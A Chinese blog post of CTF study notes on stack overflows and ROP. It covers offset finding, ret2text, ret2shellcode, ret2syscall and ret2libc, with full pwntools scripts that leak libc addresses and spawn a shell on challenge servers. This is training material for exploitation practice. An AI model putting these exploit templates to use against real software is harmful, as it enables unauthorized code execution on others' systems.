首页 > 其他分享 >CTF_PWN_栈ROP

CTF_PWN_栈ROP

时间:2024-07-30 23:07:20浏览次数:14  
标签:addr puts libc 地址 ret ROP CTF PWN payload

栈溢出原理

先把基本栈溢出原理说清楚,上图可能不太清晰。
自己的话讲就是函数A原本rbp和rsp,call调用函数B后,rbp上去变成rsp,原本的rsp随着函数B各种参数,寄存器balabala继续往栈顶生长.调用B完再逆操作,回到函数A,rbp回到函数A的返回地址,rsp回到函数B底部,leave之后ret进入A
所以!!我们怎么利用呢
距离rbp在调用完函数B回到函数A时,我们已经把函数B溢出点距离rbp的内容填满,加上目标地址,最后回到函数A过程中,rbp就在目标地址那
通俗:溢出点距离rbp多少空间+目标地址+rbp(64-8//32-4)->发送这个
嗯,应该是这样的,不对回来再改(U ´ᴥ` U)
看这个!!!这个好详细!!!https://www.bilibili.com/video/BV1SB4y1H79Y/?spm_id_from=333.337.search-card.all.click&vd_source=349e837d16672b55951deac3adfe4534

查看偏移量

    1.直接在IDA里眼瞅
    2.用cyclic
        pwndbg> cyclic 200
        pwndbg> run
        看到报错“Invalid address 0x[xxxx]”
        pwndbg> cyclic -l 0x[xxxx](或者haab??)
    3.gdb-peda
        用法和cyclic差不多,
        pattern create 200
        c
        pattern offset [xxxx]

ret2text————适用于可以看到system后门函数的时候用

上题目!————Buu--warmup_csaw_2016

alt text

gets()危险函数,v5就是溢出点,距离0x40

应该选择压入参数cat flag的地址0x400611

    from pwn import *
    p = remote('node5.buuoj.cn',26256)
    payload=b'a'*(0x40+8)+p64(0x400611)
    p.sendline(payload)
    p.interactive()

ret2shellcode

没有后门函数,没有直接的system(/bin/sh)的时候用!
shellcode 所在的区域具有可执行权限!————所以开启NX保护应该是用不了的
让它在脚本里生成一个shellcode(指令为:shellcode = asm(shellcraft.sh()))
这个是pwntools自带的,用这个相当于我们整了一个/bin/sh过去

    基本脚本:
    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')  //废话(bushi)但是要写
    p = process("balabala")/remote("ip",port)
    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(offset,'a')+p32(0x[溢出地址])   
    //填充偏移量,如果offset>shellcode,继续填充垃圾字节
    p.sendline(payload)
    p.interactive()

ret2syscall

在ret2shellcode条件下开了NX保护的时候用

原理:

利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

mov eax,
0xb mov ebx,
[“/bin/sh”]
mov ecx,
0 mov edx,
0 int 0x80

转自某一个博客:在Linux中,系统调用通常通过int 80h 汇编代码实现,int终端,80h则是代指的系统调用的终端符号,当程序执行到int 80h时,就会将相应的通用寄存器eax中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数(execve("/bin/sh",NULL,NULL) ) //(32位程序)
所以我们的目标->调用execve()
rax rdx rcx rbx
rdi rsi rcx rbx r9 r10
:::warning
!!!如何调用execve()函数
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
:::

使用gdb
    1.寻找控制 eax 的 gadgets
    ROPgadget --binary 文件名  --only 'pop|ret' | grep 'eax'
    2.ebx,edx,ecx的ret
    ROPgadget --binary 文件名  --only 'pop|ret' | grep 'ebx'

    #或者直接ROPgadget --binary 文件名  --only 'pop|ret'查看所有的

    3.获得 /bin/sh 字符串对应的地址。
    ROPgadget --binary 文件名  --string '/bin/sh' 
    4.int 0x80 的地址
    ROPgadget --binary r文件名  --only 'int' 
    最后的payload=垃圾字节+(eax-ret+ebx-ret+ecx-ret+edx-ret+/bin/sh+0x80)->的地址

ret2libc

没有后门函数同时开启NX保护
一般有puts()、printf()、writes()等,且使用了libc库

取自大佬博客!!我愿称之为神!大彻大悟!醍醐灌顶!

函数的真实地址 = 基地址 + 偏移地址

呜呜呜,更一下,ldd filename就可以查看文件本地的libc版本555
https://www.cnblogs.com/falling-dusk/p/17856141.html
https://rj45mp.github.io/深入理解ret2libc/
https://blog.csdn.net/qq_51032807/article/details/114808339
https://blog.csdn.net/Mr_Fmnwon/article/details/130959123
先上板子

32位

from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr)) 
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

64位

payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got
payload += p64(read_got) #想要存入rdi的参数
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址

板子

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)

#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))  #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("read_real_addr: ", hex(read_real_addr))

剩下的和32位的一样

一个大佬的64位样例

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库
 
elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")
 
pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)
 
io=remote("node4.anna.nssctf.cn",28715)  #远程连接
 
payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出
 
io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。
 
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
 
payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) 
 
io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

好啦好啦,要刷题啦()

标签:addr,puts,libc,地址,ret,ROP,CTF,PWN,payload
From: https://www.cnblogs.com/Jexy/p/18333532

相关文章

  • CTF_pwn_堆
    https://blog.csdn.net/qq_43332010/article/details/120402102相关定义攻击原理及方法gdb调试理解https://blog.csdn.net/xy_369/article/details/130788093https://blingblingxuanxuan.github.io/2020/02/23/paper/#fastbin-attackhttps://ywhkkx.github.io/2021/12/12/堆......
  • Bugku CTF 合集
    1.Simple_SSTI_11.打开靶场,翻译得知需要输入一个flag作为参数,检查源代码,发现可以设置secretkey作为变量经了解,SSTL是一个模板注入,SECRETKEY:是flask一个重要得配置值需要用以下代码来加密/?flag={{config.SECRETKEY}}(注意大小写),或直接/?flag={{config}}......
  • Python - Creating Managed Attributes using properties
    CreatingManagedAttributesusingpropertiesPropertiescanbeusedtocreatedataattributeswithspecialfunctionality.Ifyouwantsomeextrafunctionality(liketypechecking,datavalidationortransformation)whilegettingorsettingadataattribut......
  • NSSCTF web入门题鉴赏
    前言思来想去还是觉得web好玩一点哈哈,尝试过crypto更能懂那种痛楚[SWPUCTF2021新生赛]Do_you_know_httphttps://www.nssctf.cn/problem/385这道题就是简单的http协议刚开始是'WLLM'browser!这个题眼,于是我们上网络查询一下,发现useragency并不是它,那就需要我们去改一下us......
  • 2024夏令营CTF部分wp
    misc前面几题基本来源于这篇文章>https://blog.csdn.net/qq_45894840/article/details/128346180?spm=1001.2014.3001.5502算是misc的入门级题目,就不多说了1.easy_stego_1是盲水印分离的题目首先拿到题目附件>http://nnd.edaker.com:8999/directlink/2/misc_easy_stego_1.p......
  • AquaCrop模型农业水资源管理及代码解析
    AquaCrop是由世界粮食及农业组织(FAO)开发的一个先进模型,旨在研究和优化农作物的水分生产效率。这个模型在全球范围内被广泛应用于农业水管理,特别是在制定农作物灌溉计划和应对水资源限制方面显示出其强大的实用性。AquaCrop不仅包含一个全面的数据库,还提供了用户友好的接口,使得......
  • [RoarCTF 2019]Easy Java
    [RoarCTF2019]EasyJavaStep1点击help按钮后发现:URL变成:url/Download?filename=help.docx而回显:java.io.FileNotFoundException:{help.docx}而当我尝试尝试POST,发现文件成功下载:Step2发现可能的漏洞点后,结合WEB-INF相关知识(见文末)可以下载WEB-INF/web.xmlPOST参数......
  • DC综合时set_ideal_network -no_propagate
    在DesignCompiler(DC)综合过程中,set_ideal_network命令用于指定理想网络(idealnetwork),这些网络通常不会被综合工具修改。这些网络的延迟和负载被忽略,从而简化了综合过程。举例set_ideal_network-no_propagate[all_high_fanout-nets-threshold256] set_ideal_ne......
  • [GYCTF2020]Blacklist
    [GYCTF2020]BlacklistStep1输入1,回显:array(2){[0]=>string(1)"1"[1]=>string(7)"hahahah"}稍微尝试注入:/?inject=1'+union+select+1,2,3;#回显:returnpreg_match("/set|prepare|alter|rename|select|update|delete|dro......
  • CTFshow web入门vip 文件上传
    web151题目提示前端校验不可靠,看源码可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png然后把前端验证修改一下,把文件后缀限制改成php写个一句话木马传进去1.php<?phpeval($_POST['x']);?>url中需要加入我们传入文件的目录/upload.php,并指定/......